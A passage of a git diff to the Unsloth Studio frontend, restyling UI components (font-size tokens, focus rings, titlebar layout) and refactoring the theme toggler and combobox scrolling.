                   <Button
                     size="sm"
-                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-ui-13"
                     onClick={onInstall}
                     disabled={installDisabled}
                   >
@@ -195,14 +195,14 @@ export function UpdateBanner({
                   <Button
                     size="sm"
                     variant="ghost"
-                    className="h-auto rounded-full px-3 py-2 text-[13px] font-medium text-foreground"
+                    className="h-auto rounded-full px-3 py-2 text-ui-13 font-medium text-foreground"
                     onClick={onDismiss}
                   >
                     Remind me later
                   </Button>
                   <Button
                     size="sm"
-                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-[13px]"
+                    className="-mr-1 h-auto rounded-full px-3.5 py-2 text-ui-13"
                     onClick={onInstall}
                     disabled={installDisabled}
                   >
@@ -219,7 +219,7 @@ export function UpdateBanner({
                 readOnly={true}
                 value={manualReport}
                 onFocus={(event) => event.currentTarget.select()}
-                className="mt-2 h-28 w-full resize-none rounded-lg border border-border/50 bg-muted/30 p-2 font-mono text-[10px] text-muted-foreground"
+                className="mt-2 h-28 w-full resize-none rounded-lg border border-border/50 bg-muted/30 p-2 font-mono text-ui-10 text-muted-foreground"
               />
             )}
           </div>
diff --git a/studio/frontend/src/components/tauri/update-screen.tsx b/studio/frontend/src/components/tauri/update-screen.tsx
index 3199425f69..d37e6873ae 100644
--- a/studio/frontend/src/components/tauri/update-screen.tsx
+++ b/studio/frontend/src/components/tauri/update-screen.tsx
@@ -72,7 +72,7 @@ function LogViewer({ logs }: { logs: string[] }) {
   return (
     <div
       ref={scrollRef}
-      className="mt-4 h-[180px] w-full max-w-xl overflow-y-auto rounded-lg border border-border/40 bg-muted/30 p-3 font-mono text-[11px] leading-relaxed text-muted-foreground"
+      className="mt-4 h-[180px] w-full max-w-xl overflow-y-auto rounded-lg border border-border/40 bg-muted/30 p-3 font-mono text-ui-11 leading-relaxed text-muted-foreground"
     >
       {logs.map((line, i) => (
         <div key={i} className="whitespace-pre-wrap break-all">
@@ -197,7 +197,7 @@ export function UpdateScreen({
             readOnly
             value={manualReport}
             onFocus={(event) => event.currentTarget.select()}
-            className="mt-2 h-32 w-full max-w-xl resize-none rounded-lg border border-border/50 bg-muted/30 p-2 font-mono text-[10px] text-muted-foreground"
+            className="mt-2 h-32 w-full max-w-xl resize-none rounded-lg border border-border/50 bg-muted/30 p-2 font-mono text-ui-10 text-muted-foreground"
           />
         )}
 
diff --git a/studio/frontend/src/components/tauri/window-titlebar.tsx b/studio/frontend/src/components/tauri/window-titlebar.tsx
index 66efe8d74a..6a0ff8741a 100644
--- a/studio/frontend/src/components/tauri/window-titlebar.tsx
+++ b/studio/frontend/src/components/tauri/window-titlebar.tsx
@@ -40,7 +40,7 @@ type NavigatorWithUserAgentData = Navigator & {
   };
 };
 
-function getClientPlatform(): string {
+export function getClientPlatform(): string {
   if (typeof navigator === "undefined") {
     return "";
   }
@@ -93,7 +93,7 @@ function WindowControlButton({
       title={label}
       onClick={onClick}
       className={cn(
-        "relative z-[80] inline-flex size-8 items-center justify-center rounded-[10px] text-muted-foreground/90 transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+        "relative z-[80] inline-flex size-8 items-center justify-center rounded-[10px] text-muted-foreground/90 transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
         className,
       )}
     >
@@ -115,7 +115,7 @@ export function WindowTitlebar({
       ? "var(--studio-sidebar-expanded-width,17.5rem)"
       : "var(--studio-sidebar-collapsed-width,3rem)"
     : "0px";
-  const contentBorderLeft = `calc(${sidebarWidth} + 12px)`;
+  const contentBorderLeft = pinned ? `calc(${sidebarWidth} + 12px)` : "0px";
 
   const refreshMaximized = useCallback(async () => {
     if (!enabled) {
@@ -232,10 +232,10 @@ export function WindowTitlebar({
         )}
         aria-label="Window titlebar"
       >
-        {showSidebarSurface && (
+        {showSidebarSurface && pinned && (
           <div
             aria-hidden="true"
-            className="pointer-events-none absolute top-full h-3 w-px -translate-x-px bg-sidebar"
+            className="pointer-events-none absolute top-full size-3 -translate-x-px bg-sidebar"
             style={{ left: sidebarWidth }}
           />
         )}
@@ -246,7 +246,7 @@ export function WindowTitlebar({
             style={{ left: contentBorderLeft, right: 0 }}
           />
         )}
-        {showSidebarSurface && (
+        {showSidebarSurface && pinned && (
           <div
             aria-hidden="true"
             className="pointer-events-none absolute top-full size-3 -translate-x-px rounded-tl-[12px] border-l border-t border-sidebar-border bg-background"
@@ -257,7 +257,7 @@ export function WindowTitlebar({
           <div
             className={cn(
               "pointer-events-auto absolute left-0 top-0 flex h-full min-w-0 items-center",
-              pinned ? "gap-2 px-3" : "justify-center",
+              pinned ? "gap-2 pl-3" : "justify-center",
             )}
             style={{ width: sidebarWidth }}
             onMouseDown={handleDragMouseDown}
@@ -273,7 +273,7 @@ export function WindowTitlebar({
                     draggable={false}
                     className="size-5 shrink-0 rounded-[6px] object-cover"
                   />
-                  <span className="min-w-0 truncate text-[13px] font-semibold leading-none tracking-[0.01em] text-nav-fg">
+                  <span className="min-w-0 truncate text-ui-13 font-semibold leading-none tracking-[0.01em] text-nav-fg">
                     Unsloth Studio
                   </span>
                 </div>
@@ -287,7 +287,7 @@ export function WindowTitlebar({
                     event.stopPropagation();
                     togglePinned();
                   }}
-                  className="inline-flex size-8 shrink-0 items-center justify-center rounded-[10px] text-nav-icon-idle transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="inline-flex size-8 shrink-0 items-center justify-center rounded-[10px] text-nav-icon-idle transition-colors hover:bg-nav-surface-hover hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                 >
                   <HugeiconsIcon
                     icon={LayoutAlignLeftIcon}
@@ -307,7 +307,7 @@ export function WindowTitlebar({
                   event.stopPropagation();
                   togglePinned();
                 }}
-                className="inline-flex size-8 items-center justify-center rounded-[10px] transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                className="inline-flex size-8 items-center justify-center rounded-[10px] transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
               >
                 <img
                   src="/rounded-512.png"
diff --git a/studio/frontend/src/components/ui/accordion.tsx b/studio/frontend/src/components/ui/accordion.tsx
index 35de233858..2bb147d6c6 100644
--- a/studio/frontend/src/components/ui/accordion.tsx
+++ b/studio/frontend/src/components/ui/accordion.tsx
@@ -7,7 +7,7 @@ import { Accordion as AccordionPrimitive } from "radix-ui";
 import type * as React from "react";
 
 import { cn } from "@/lib/utils";
-import { ArrowDown01Icon, ArrowUp01Icon } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon, ChevronUpStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 function Accordion({
@@ -56,13 +56,13 @@ function AccordionTrigger({
       >
         {children}
         <HugeiconsIcon
-          icon={ArrowDown01Icon}
+          icon={ChevronDownStandardIcon}
           strokeWidth={2}
           data-slot="accordion-trigger-icon"
           className="pointer-events-none shrink-0 group-aria-expanded/accordion-trigger:hidden"
         />
         <HugeiconsIcon
-          icon={ArrowUp01Icon}
+          icon={ChevronUpStandardIcon}
           strokeWidth={2}
           data-slot="accordion-trigger-icon"
           className="pointer-events-none hidden shrink-0 group-aria-expanded/accordion-trigger:inline"
diff --git a/studio/frontend/src/components/ui/animated-theme-toggler.tsx b/studio/frontend/src/components/ui/animated-theme-toggler.tsx
index d83e278401..e4936b0240 100644
--- a/studio/frontend/src/components/ui/animated-theme-toggler.tsx
+++ b/studio/frontend/src/components/ui/animated-theme-toggler.tsx
@@ -6,7 +6,7 @@ import { Moon, Sun } from "lucide-react"
 import { flushSync } from "react-dom"
 
 import { cn } from "@/lib/utils"
-import { setTheme } from "@/features/settings/stores/theme-store"
+import { prefersReducedMotion, setTheme } from "@/features/settings"
 
 interface AnimatedThemeTogglerProps extends React.ComponentPropsWithoutRef<"button"> {
   duration?: number
@@ -15,6 +15,7 @@ interface AnimatedThemeTogglerProps extends React.ComponentPropsWithoutRef<"butt
 export function useAnimatedThemeToggle(duration = 400) {
   const [isDark, setIsDark] = useState(false)
   const anchorRef = useRef<HTMLElement | null>(null)
+  const inFlightRef = useRef(false)
 
   useEffect(() => {
     const updateTheme = () => {
@@ -30,45 +31,63 @@ export function useAnimatedThemeToggle(duration = 400) {
   }, [])
 
   const toggleTheme = useCallback(async () => {
-    const anchor = anchorRef.current
+    // One toggle per animation. Clicks during a slow view transition would
+    // otherwise queue up and land as invisible back-and-forth flips, so the
+    // theme looks stuck until an odd number of clicks gets through.
+    if (inFlightRef.current) return
+
     const applyTheme = () => {
       flushSync(() => {
-        const newTheme = !isDark
-        setIsDark(newTheme)
-        setTheme(newTheme ? "dark" : "light")
+        // Read the live class instead of React state, which can lag the DOM
+        // while a transition is being captured.
+        const nextDark = !document.documentElement.classList.contains("dark")
+        setIsDark(nextDark)
+        setTheme(nextDark ? "dark" : "light")
       })
     }
 
-    if (!document.startViewTransition) {
+    // Skip the view transition (its clip-path runs via the Web Animations API,
+    // which CSS force-reduced-motion cannot reach) when reduced motion is set.
+    if (!document.startViewTransition || prefersReducedMotion()) {
       applyTheme()
       return
     }
 
-    await document.startViewTransition(applyTheme).ready
+    inFlightRef.current = true
+    try {
+      const transition = document.startViewTransition(applyTheme)
+      await transition.ready
 
-    if (anchor) {
-      const { top, left, width, height } = anchor.getBoundingClientRect()
-      const x = left + width / 2
-      const y = top + height / 2
-      const maxRadius = Math.hypot(
-        Math.max(left, window.innerWidth - left),
-        Math.max(top, window.innerHeight - top)
-      )
-      document.documentElement.animate(
-        {
-          clipPath: [
-            `circle(0px at ${x}px ${y}px)`,
-            `circle(${maxRadius}px at ${x}px ${y}px)`,
-          ],
-        },
-        {
-          duration,
-          easing: "ease-in-out",
-          pseudoElement: "::view-transition-new(root)",
-        }
-      )
+      const anchor = anchorRef.current
+      if (anchor) {
+        const { top, left, width, height } = anchor.getBoundingClientRect()
+        const x = left + width / 2
+        const y = top + height / 2
+        const maxRadius = Math.hypot(
+          Math.max(left, window.innerWidth - left),
+          Math.max(top, window.innerHeight - top)
+        )
+        document.documentElement.animate(
+          {
+            clipPath: [
+              `circle(0px at ${x}px ${y}px)`,
+              `circle(${maxRadius}px at ${x}px ${y}px)`,
+            ],
+          },
+          {
+            duration,
+            easing: "ease-in-out",
+            pseudoElement: "::view-transition-new(root)",
+          }
+        )
+      }
+      await transition.finished
+    } catch {
+      // A skipped transition still applied the theme.
+    } finally {
+      inFlightRef.current = false
     }
-  }, [isDark, duration])
+  }, [duration])
 
   return { isDark, toggleTheme, anchorRef }
 }
@@ -78,70 +97,13 @@ export const AnimatedThemeToggler = ({
   duration = 400,
   ...props
 }: AnimatedThemeTogglerProps) => {
-  const [isDark, setIsDark] = useState(false)
-  const buttonRef = useRef<HTMLButtonElement>(null)
-
-  useEffect(() => {
-    const updateTheme = () => {
-      setIsDark(document.documentElement.classList.contains("dark"))
-    }
-
-    updateTheme()
-
-    const observer = new MutationObserver(updateTheme)
-    observer.observe(document.documentElement, {
-      attributes: true,
-      attributeFilter: ["class"],
-    })
-
-    return () => observer.disconnect()
-  }, [])
-
-  const toggleTheme = useCallback(async () => {
-    if (!buttonRef.current) return
-
-    const apply = () => {
-      flushSync(() => {
-        const newTheme = !isDark
-        setIsDark(newTheme)
-        setTheme(newTheme ? "dark" : "light")
-      })
-    }
-
-    if (!document.startViewTransition) {
-      apply()
-      return
-    }
-
-    await document.startViewTransition(apply).ready
-
-    const { top, left, width, height } =
-      buttonRef.current.getBoundingClientRect()
-    const x = left + width / 2
-    const y = top + height / 2
-    const maxRadius = Math.hypot(
-      Math.max(left, window.innerWidth - left),
-      Math.max(top, window.innerHeight - top)
-    )
-
-    document.documentElement.animate(
-      {
-        clipPath: [
-          `circle(0px at ${x}px ${y}px)`,
-          `circle(${maxRadius}px at ${x}px ${y}px)`,
-        ],
-      },
-      {
-        duration,
-        easing: "ease-in-out",
-        pseudoElement: "::view-transition-new(root)",
-      }
-    )
-  }, [isDark, duration])
+  const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle(duration)
 
   return (
     <button
-      ref={buttonRef}
+      ref={(node) => {
+        anchorRef.current = node
+      }}
       onClick={toggleTheme}
       className={cn(className)}
       {...props}
diff --git a/studio/frontend/src/components/ui/badge.tsx b/studio/frontend/src/components/ui/badge.tsx
index 0f2f334986..a476a16b89 100644
--- a/studio/frontend/src/components/ui/badge.tsx
+++ b/studio/frontend/src/components/ui/badge.tsx
@@ -10,7 +10,7 @@ import type * as React from "react";
 import { cn } from "@/lib/utils";
 
 export const badgeVariants = cva(
-  "h-5 gap-1 rounded-4xl border border-transparent px-2 py-0.5 text-xs font-medium transition-all has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&>svg]:size-3! inline-flex items-center justify-center w-fit whitespace-nowrap shrink-0 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive overflow-hidden group/badge",
+  "h-5 gap-1 rounded-4xl border border-transparent px-2 py-0.5 text-xs font-medium transition-all has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&>svg]:size-3! inline-flex items-center justify-center w-fit whitespace-nowrap shrink-0 [&>svg]:pointer-events-none focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive overflow-hidden group/badge",
   {
     variants: {
       variant: {
diff --git a/studio/frontend/src/components/ui/button.tsx b/studio/frontend/src/components/ui/button.tsx
index 51fc31697e..e3663d724b 100644
--- a/studio/frontend/src/components/ui/button.tsx
+++ b/studio/frontend/src/components/ui/button.tsx
@@ -10,14 +10,14 @@ import type * as React from "react";
 import { cn } from "@/lib/utils";
 
 export const buttonVariants = cva(
-  "focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 rounded-full border border-transparent text-sm font-medium focus-visible:ring-[3px] aria-invalid:ring-[3px] [&_svg:not([class*='size-'])]:size-4 inline-flex items-center justify-center whitespace-nowrap transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none shrink-0 [&_svg]:shrink-0 outline-none group/button select-none cursor-pointer",
+  "focus-visible:border-ring dark:focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 rounded-full border border-transparent text-sm font-medium aria-invalid:ring-[3px] [&_svg:not([class*='size-'])]:size-4 inline-flex items-center justify-center whitespace-nowrap transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none shrink-0 [&_svg]:shrink-0 outline-none group/button select-none cursor-pointer",
   {
     variants: {
       variant: {
         default: "bg-primary text-primary-foreground hover:bg-primary/80",
         dark: "bg-foreground text-background hover:bg-foreground/85 dark:bg-foreground dark:text-background",
         outline:
-          "border-border bg-input/30 hover:bg-input/50 hover:text-foreground aria-expanded:bg-muted aria-expanded:text-foreground",
+          "border-border bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.06] dark:hover:bg-white/10 hover:text-foreground aria-expanded:bg-muted aria-expanded:text-foreground",
         secondary:
           "bg-secondary text-secondary-foreground hover:bg-secondary/80 aria-expanded:bg-secondary aria-expanded:text-secondary-foreground",
         ghost:
diff --git a/studio/frontend/src/components/ui/calendar.tsx b/studio/frontend/src/components/ui/calendar.tsx
index be52f9c354..6ea80b9c88 100644
--- a/studio/frontend/src/components/ui/calendar.tsx
+++ b/studio/frontend/src/components/ui/calendar.tsx
@@ -93,7 +93,7 @@ function Calendar({
         table: "w-full border-collapse",
         weekdays: cn("flex", defaultClassNames.weekdays),
         weekday: cn(
-          "text-muted-foreground rounded-(--cell-radius) flex-1 font-normal text-[0.8rem] select-none",
+          "text-muted-foreground rounded-(--cell-radius) flex-1 font-normal text-[calc(0.8rem*var(--ui-font-scale,1))] select-none",
           defaultClassNames.weekday,
         ),
         week: cn("flex w-full mt-2", defaultClassNames.week),
@@ -102,7 +102,7 @@ function Calendar({
           defaultClassNames.week_number_header,
         ),
         week_number: cn(
-          "text-[0.8rem] select-none text-muted-foreground",
+          "text-[calc(0.8rem*var(--ui-font-scale,1))] select-none text-muted-foreground",
           defaultClassNames.week_number,
         ),
         day: cn(
@@ -225,7 +225,7 @@ function CalendarDayButton({
       data-range-end={modifiers.range_end}
       data-range-middle={modifiers.range_middle}
       className={cn(
-        "data-[selected-single=true]:bg-primary data-[selected-single=true]:text-primary-foreground data-[range-middle=true]:bg-muted data-[range-middle=true]:text-foreground data-[range-start=true]:bg-primary data-[range-start=true]:text-primary-foreground data-[range-end=true]:bg-primary data-[range-end=true]:text-primary-foreground group-data-[focused=true]/day:border-ring group-data-[focused=true]/day:ring-ring/50 dark:hover:text-foreground relative isolate z-10 flex aspect-square size-auto w-full min-w-(--cell-size) flex-col gap-1 border-0 leading-none font-normal group-data-[focused=true]/day:relative group-data-[focused=true]/day:z-10 group-data-[focused=true]/day:ring-[3px] data-[range-end=true]:rounded-(--cell-radius) data-[range-end=true]:rounded-r-(--cell-radius) data-[range-middle=true]:rounded-none data-[range-start=true]:rounded-(--cell-radius) data-[range-start=true]:rounded-l-(--cell-radius) [&>span]:text-xs [&>span]:opacity-70",
+        "data-[selected-single=true]:bg-primary data-[selected-single=true]:text-primary-foreground data-[range-middle=true]:bg-muted data-[range-middle=true]:text-foreground data-[range-start=true]:bg-primary data-[range-start=true]:text-primary-foreground data-[range-end=true]:bg-primary data-[range-end=true]:text-primary-foreground group-data-[focused=true]/day:border-ring group-data-[focused=true]/day:ring-ring dark:hover:text-foreground relative isolate z-10 flex aspect-square size-auto w-full min-w-(--cell-size) flex-col gap-1 border-0 leading-none font-normal group-data-[focused=true]/day:relative group-data-[focused=true]/day:z-10 group-data-[focused=true]/day:ring-1 data-[range-end=true]:rounded-(--cell-radius) data-[range-end=true]:rounded-r-(--cell-radius) data-[range-middle=true]:rounded-none data-[range-start=true]:rounded-(--cell-radius) data-[range-start=true]:rounded-l-(--cell-radius) [&>span]:text-xs [&>span]:opacity-70",
         defaultClassNames.day,
         className,
       )}
diff --git a/studio/frontend/src/components/ui/checkbox.tsx b/studio/frontend/src/components/ui/checkbox.tsx
index edd8965348..c770b5c3e1 100644
--- a/studio/frontend/src/components/ui/checkbox.tsx
+++ b/studio/frontend/src/components/ui/checkbox.tsx
@@ -16,7 +16,7 @@ function Checkbox({
     <CheckboxPrimitive.Root
       data-slot="checkbox"
       className={cn(
-        "border-input dark:bg-input/30 data-checked:bg-primary data-checked:text-primary-foreground dark:data-checked:bg-primary data-checked:border-primary aria-invalid:aria-checked:border-primary aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 flex size-4 items-center justify-center rounded-[6px] border transition-shadow group-has-disabled/field:opacity-50 focus-visible:ring-[3px] aria-invalid:ring-[3px] peer relative shrink-0 outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
+        "border-input dark:bg-input/30 data-checked:bg-primary data-checked:text-primary-foreground dark:data-checked:bg-primary data-checked:border-primary aria-invalid:aria-checked:border-primary aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 focus-visible:border-ring dark:focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 flex size-4 items-center justify-center rounded-[6px] border transition-shadow group-has-disabled/field:opacity-50 aria-invalid:ring-[3px] peer relative shrink-0 outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/combobox.tsx b/studio/frontend/src/components/ui/combobox.tsx
index db2d494b6d..07202d30ae 100644
--- a/studio/frontend/src/components/ui/combobox.tsx
+++ b/studio/frontend/src/components/ui/combobox.tsx
@@ -7,6 +7,7 @@
 
 import { Combobox as ComboboxPrimitive } from "@base-ui/react";
 import * as React from "react";
+import { useWheelScrollRef } from "@/hooks";
 import { createContext, useState } from "react";
 
 import { Button } from "@/components/ui/button";
@@ -100,13 +101,19 @@ function ComboboxInput({
   disabled = false,
   showTrigger = true,
   showClear = false,
+  startAddon,
   ...props
 }: ComboboxPrimitive.Input.Props & {
   showTrigger?: boolean;
   showClear?: boolean;
+  /** Optional leading content (e.g. a search icon) rendered before the input. */
+  startAddon?: React.ReactNode;
 }): React.ReactElement {
   return (
     <InputGroup className={cn("w-auto", className)}>
+      {startAddon && (
+        <InputGroupAddon align="inline-start">{startAddon}</InputGroupAddon>
+      )}
       <ComboboxPrimitive.Input
         render={<InputGroupInput disabled={disabled} />}
         {...props}
@@ -139,6 +146,7 @@ function ComboboxContent({
   alignOffset = 0,
   anchor,
   container,
+  onWheel,
   ...props
 }: ComboboxPrimitive.Popup.Props &
   Pick<
@@ -161,6 +169,24 @@ function ComboboxContent({
         <ComboboxPrimitive.Popup
           data-slot="combobox-content"
           data-chips={!!anchor}
+          onWheel={(event) => {
+            onWheel?.(event);
+            // Dialog scroll locks cancel native wheel scrolling on this
+            // body-portaled popup, so scroll the list by hand while one is
+            // active.
+            if (!document.body.hasAttribute("data-scroll-locked")) return;
+            const list = event.currentTarget.querySelector<HTMLElement>(
+              '[data-slot="combobox-list"]',
+            );
+            if (!list) return;
+            const step =
+              event.deltaMode === 1
+                ? event.deltaY * 24
+                : event.deltaMode === 2
+                  ? event.deltaY * list.clientHeight
+                  : event.deltaY;
+            list.scrollTop += step;
+          }}
           className={cn(
             "bg-popover text-popover-foreground data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 *:data-[slot=input-group]:bg-input/30 max-h-72 min-w-36 overflow-hidden rounded-xl corner-squircle duration-100 *:data-[slot=input-group]:m-1 *:data-[slot=input-group]:mb-0 *:data-[slot=input-group]:h-9 *:data-[slot=input-group]:border-none *:data-[slot=input-group]:shadow-none group/combobox-content relative pointer-events-auto max-h-(--available-height) w-(--anchor-width) max-w-(--available-width) min-w-[calc(var(--anchor-width)+--spacing(7))] origin-(--transform-origin) data-[chips=true]:min-w-(--anchor-width)",
             className,
@@ -176,8 +202,11 @@ function ComboboxList({
   className,
   ...props
 }: ComboboxPrimitive.List.Props): React.ReactElement {
+  const listRef = useWheelScrollRef<HTMLDivElement>();
+
   return (
     <ComboboxPrimitive.List
+      ref={listRef}
       data-slot="combobox-list"
       className={cn(
         "no-scrollbar max-h-[min(calc(--spacing(72)---spacing(9)),calc(var(--available-height)---spacing(9)))] scroll-py-1 overflow-y-auto p-1 data-empty:p-0 overflow-y-auto overscroll-contain",
@@ -290,7 +319,7 @@ function ComboboxChips({
     <ComboboxPrimitive.Chips
       data-slot="combobox-chips"
       className={cn(
-        "bg-input/30 border-input focus-within:border-ring focus-within:ring-ring/50 has-aria-invalid:ring-destructive/20 dark:has-aria-invalid:ring-destructive/40 has-aria-invalid:border-destructive dark:has-aria-invalid:border-destructive/50 flex min-h-9 flex-wrap items-center gap-1.5 rounded-4xl border bg-clip-padding px-2.5 py-1.5 text-sm transition-colors focus-within:ring-[3px] has-aria-invalid:ring-[3px] has-data-[slot=combobox-chip]:px-1.5",
+        "bg-input/30 border-input dark:border-transparent focus-within:border-ring dark:focus-within:border-transparent dark:focus-within:bg-white/[0.09] has-aria-invalid:ring-destructive/20 dark:has-aria-invalid:ring-destructive/40 has-aria-invalid:border-destructive dark:has-aria-invalid:border-destructive/50 flex min-h-9 flex-wrap items-center gap-1.5 rounded-4xl border bg-clip-padding px-2.5 py-1.5 text-sm transition-colors has-aria-invalid:ring-[3px] has-data-[slot=combobox-chip]:px-1.5",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/command.tsx b/studio/frontend/src/components/ui/command.tsx
index 72b15a712f..27e0d3d078 100644
--- a/studio/frontend/src/components/ui/command.tsx
+++ b/studio/frontend/src/components/ui/command.tsx
@@ -75,8 +75,8 @@ function CommandInput({
   ...props
 }: React.ComponentProps<typeof CommandPrimitive.Input>) {
   return (
-    <div data-slot="command-input-wrapper" className="p-1 pb-0">
-      <InputGroup className="bg-input/30 h-9">
+    <div data-slot="command-input-wrapper" className="p-0 pb-1">
+      <InputGroup className="h-9">
         <CommandPrimitive.Input
           data-slot="command-input"
           className={cn(
@@ -164,7 +164,7 @@ function CommandItem({
     <CommandPrimitive.Item
       data-slot="command-item"
       className={cn(
-        "data-selected:bg-muted data-selected:text-foreground data-selected:*:[svg]:text-foreground relative flex cursor-default items-center gap-2 rounded-lg px-3 py-2 text-sm outline-hidden select-none [&_svg:not([class*='size-'])]:size-4 [[data-slot=dialog-content]_&]:rounded-2xl group/command-item data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
+        "data-selected:bg-accent data-selected:text-accent-foreground data-selected:*:[svg]:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-lg px-3 py-2 text-sm outline-hidden select-none [&_svg:not([class*='size-'])]:size-4 group/command-item data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/confetti.tsx b/studio/frontend/src/components/ui/confetti.tsx
index 892bffdb18..35f5913240 100644
--- a/studio/frontend/src/components/ui/confetti.tsx
+++ b/studio/frontend/src/components/ui/confetti.tsx
@@ -34,7 +34,7 @@ export type ConfettiRef = Api | null;
 
 const ConfettiContext = createContext<Api>({} as Api);
 
-// Studio CSP blocks canvas-confetti's default blob: worker, so force
+// Unsloth CSP blocks canvas-confetti's default blob: worker, so force
 // useWorker: false. Module-scoped so the prop default keeps stable
 // identity across renders (`canvasRef` depends on `globalOptions`).
 const DEFAULT_GLOBAL_OPTIONS: ConfettiGlobalOptions = {
diff --git a/studio/frontend/src/components/ui/copyable-error-chip.tsx b/studio/frontend/src/components/ui/copyable-error-chip.tsx
index d4b386d375..b9759f111c 100644
--- a/studio/frontend/src/components/ui/copyable-error-chip.tsx
+++ b/studio/frontend/src/components/ui/copyable-error-chip.tsx
@@ -53,7 +53,7 @@ export function CopyableErrorChip({
         <button
           type="button"
           className={cn(
-            "flex max-w-[28rem] min-w-0 cursor-pointer items-center rounded-md text-left text-xs text-destructive transition-colors hover:bg-destructive/10 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+            "flex max-w-[28rem] min-w-0 cursor-pointer items-center rounded-md text-left text-xs text-destructive transition-colors hover:bg-destructive/10 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
             className,
           )}
         >
@@ -72,7 +72,7 @@ export function CopyableErrorChip({
             onClick={handleCopy}
             aria-label={copied ? "Copied" : "Copy error message"}
             className={cn(
-              "inline-flex items-center gap-1 rounded-md border border-border/60 px-2 py-1 text-[11px] text-muted-foreground transition-colors hover:bg-muted/60 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+              "inline-flex items-center gap-1 rounded-md border border-border/60 px-2 py-1 text-ui-11 text-muted-foreground transition-colors hover:bg-muted/60 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
               copied && "border-emerald-500/40 text-emerald-600 dark:text-emerald-500",
             )}
           >
diff --git a/studio/frontend/src/components/ui/data-table.tsx b/studio/frontend/src/components/ui/data-table.tsx
index 31a93b7449..391007b2e6 100644
--- a/studio/frontend/src/components/ui/data-table.tsx
+++ b/studio/frontend/src/components/ui/data-table.tsx
@@ -100,7 +100,7 @@ export function DataTable<TData, TValue>({
                 {row.getVisibleCells().map((cell) => (
                   <TableCell
                     key={cell.id}
-                    className="border-r border-border/20 last:border-r-0 text-[13px] py-3 px-4 align-top whitespace-normal"
+                    className="border-r border-border/20 last:border-r-0 text-ui-13 py-3 px-4 align-top whitespace-normal"
                   >
                     {flexRender(cell.column.columnDef.cell, cell.getContext())}
                   </TableCell>
diff --git a/studio/frontend/src/components/ui/dropdown-menu.tsx b/studio/frontend/src/components/ui/dropdown-menu.tsx
index fe0270a63e..65cf123965 100644
--- a/studio/frontend/src/components/ui/dropdown-menu.tsx
+++ b/studio/frontend/src/components/ui/dropdown-menu.tsx
@@ -2,10 +2,11 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
-import type * as React from "react";
+import * as React from "react";
 
 import { Tick02Icon } from "@/lib/tick-icon";
 import { ChevronRightStandardIcon } from "@/lib/chevron-icons";
+import { useIsMobile } from "@/hooks/use-mobile";
 import { cn } from "@/lib/utils";
 import { HugeiconsIcon } from "@hugeicons/react";
 
@@ -38,6 +39,7 @@ function DropdownMenuContent({
   className,
   align = "start",
   sideOffset = 0,
+  children,
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.Content>) {
   return (
@@ -50,11 +52,21 @@ function DropdownMenuContent({
           // The 3px alignment nudge must be margin, not translate: a transform
           // here makes this scroll container the containing block for nested
